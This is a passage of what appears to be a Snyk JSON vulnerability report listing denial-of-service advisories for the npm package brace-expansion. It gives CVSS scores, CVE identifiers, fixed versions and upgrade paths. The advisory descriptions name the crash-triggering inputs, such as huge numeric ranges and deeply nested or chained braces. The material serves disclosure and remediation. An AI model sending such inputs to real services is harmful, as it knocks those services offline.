"https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": 